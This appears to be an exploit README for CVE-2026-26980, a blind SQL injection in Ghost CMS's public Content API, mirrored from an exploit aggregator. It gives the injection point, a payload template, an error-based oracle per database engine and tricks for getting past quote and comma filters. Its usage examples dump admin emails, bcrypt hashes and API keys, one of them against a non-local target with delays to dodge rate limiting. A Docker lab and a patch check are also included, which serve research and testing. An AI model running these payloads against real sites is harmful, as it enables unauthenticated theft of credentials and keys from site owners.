Share
## https://sploitus.com/exploit?id=ED8AC01D-C112-5F2F-86B2-002DDA813E82
# CVE-2026-26980 โ€” Ghost CMS Content API Blind SQL Injection

**Affected:** Ghost 3.24.0 โ€“ 6.19.0  
**Fixed in:** Ghost 6.19.1  
**Auth required:** None โ€” Content API key is public  
**Impact:** Unauthenticated read of the entire database (credentials, API keys)

---

## Vulnerability

`slug-filter-order.js` interpolates user-supplied slug values directly into a raw SQL `ORDER BY` clause instead of using parameterized bindings.

```js
// VULNERABLE โ€” Ghost  `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
//                                  ^^^^^^^^^^^ raw string interpolation

// FIXED โ€” Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);
```

**Injection point:**
```
GET /ghost/api/content/posts/?key=&filter=slug:[,]
```

**Payload template:**
```
slug:['||||',]
```

---

## Oracle

The injected expression acts as an error-based boolean oracle.

| Engine | TRUE | FALSE |
|--------|------|-------|
| SQLite | `hex(randomblob(10^15))` โ†’ OOM โ†’ **HTTP 500** | `ELSE 0` โ†’ **HTTP 200** |
| MySQL  | `THEN 0` โ†’ **HTTP 200** | `EXP(710)` overflow โ†’ **HTTP 500** |

**NQL constraints** โ€” the SQL expression inside the brackets must not contain single quotes (`'`) or commas (`,`):

| Problem | SQLite solution | MySQL solution |
|---------|----------------|----------------|
| String literal `'content'` | `CHAR(99)\|\|CHAR(111)\|\|...` | `0x636F6E74656E74` |
| Character at position N | Prefix-based string comparison | `ASCII(SUBSTR(x FROM N FOR 1))` |

> `||` is string concatenation in SQLite but logical OR in MySQL โ€” string literals must be encoded differently per engine.

---

## Usage

```
python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [data flags] [options]

Required:
  --url URL       Ghost base URL (e.g. http://localhost:2368)
  --key KEY       Content API key

Optional:
  --slug SLUG     Anchor slug (auto-discovered from API if omitted)
  --dbms {auto,sqlite,mysql}   DB engine (default: auto-detect)
  --delay N       Seconds between requests โ€” use to avoid HTTP 429 (default: 0)
  --proxy URL     HTTP proxy (e.g. http://127.0.0.1:8080) (default: none)
  --validate-fix  Test if the target is patched, then exit

Data flags (at least one required):
  --email         User email(s)
  --hash          User bcrypt hash(es)
  --content-key   Content API key(s)
  --admin-key     Admin API key(s)
  --all           Shorthand for --email --hash --content-key --admin-key

Modifier:
  --all-records   Extract ALL records for the selected flag(s) instead of first only
```

### Examples

```bash
# Extract first admin email + hash (no proxy)
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key  \
  --email --hash --no-proxy

# Extract everything, first record each
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key  \
  --all --no-proxy

# Extract all Content API keys
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key  \
  --content-key --all-records

# Extract ALL records of ALL data types
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key  \
  --all --all-records

# Route through Burp proxy
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key  \
  --all --proxy http://127.0.0.1:8080

# Force MySQL engine, add delay to avoid rate limiting
python3 exploit/exploit.py \
  --url http://target.com \
  --key  \
  --all --dbms mysql --delay 0.5

# Verify the patched version is not exploitable
python3 exploit/exploit.py \
  --url http://localhost:2369 \
  --key  \
  --validate-fix
```

### Rate limiting (HTTP 429)

Ghost rate-limits Content API requests by default. Options:
1. Pass `--delay 0.5` to add a delay between requests
2. Set `API_RATE_LIMIT_ENABLED: "false"` in the docker-compose environment and restart

---

## References

- Ghost Security Advisory: [GHSA-w52v-v783-gw97](https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97)
- NVD: [CVE-2026-26980](https://nvd.nist.gov/vuln/detail/CVE-2026-26980)
- Fix diff: `slug-filter-order.js` in Ghost `6.18.0` โ†’ `6.19.1`

---

## Lab Setup

> For reference only โ€” skip if you already have a vulnerable Ghost instance.

### Requirements

- Docker + Docker Compose
- Python 3.9+ with `pip install requests`

### Directory structure

```
ghost-cve-2026-26980/
โ”œโ”€โ”€ mysql_docker-compose.yml    # Ghost + MySQL 8.0
โ”œโ”€โ”€ sqlite_docker-compose.yml   # Ghost + SQLite (default)
โ”œโ”€โ”€ mysql-init/
โ”‚   โ””โ”€โ”€ 01-init.sql             # creates ghost_patch DB, grants access
โ”œโ”€โ”€ vulnerable/
โ”‚   โ””โ”€โ”€ Dockerfile              # Ghost 6.18.0
โ”œโ”€โ”€ patched/
โ”‚   โ””โ”€โ”€ Dockerfile              # Ghost 6.19.1
โ””โ”€โ”€ exploit/
    โ””โ”€โ”€ exploit.py
```

Both compose files expose:
- `http://localhost:2368` โ€” vulnerable (Ghost 6.18.0)
- `http://localhost:2369` โ€” patched (Ghost 6.19.1)

### Start with SQLite

```bash
docker compose -f sqlite_docker-compose.yml up -d
```

### Start with MySQL

```bash
docker compose -f mysql_docker-compose.yml up -d
```

MySQL credentials: `host=localhost:3306 user=ghost password=ghostpass`  
Databases: `ghost_vuln` (port 2368) / `ghost_patch` (port 2369)

### First-run setup

Wait ~60 s for Ghost to initialize, then:

1. Go to `http://localhost:2368/ghost` โ€” create an admin account and publish at least one post
2. Copy the **Content API key** from Ghost Admin โ†’ Settings โ†’ Integrations

### Reset the lab

```bash
# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d

# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d
```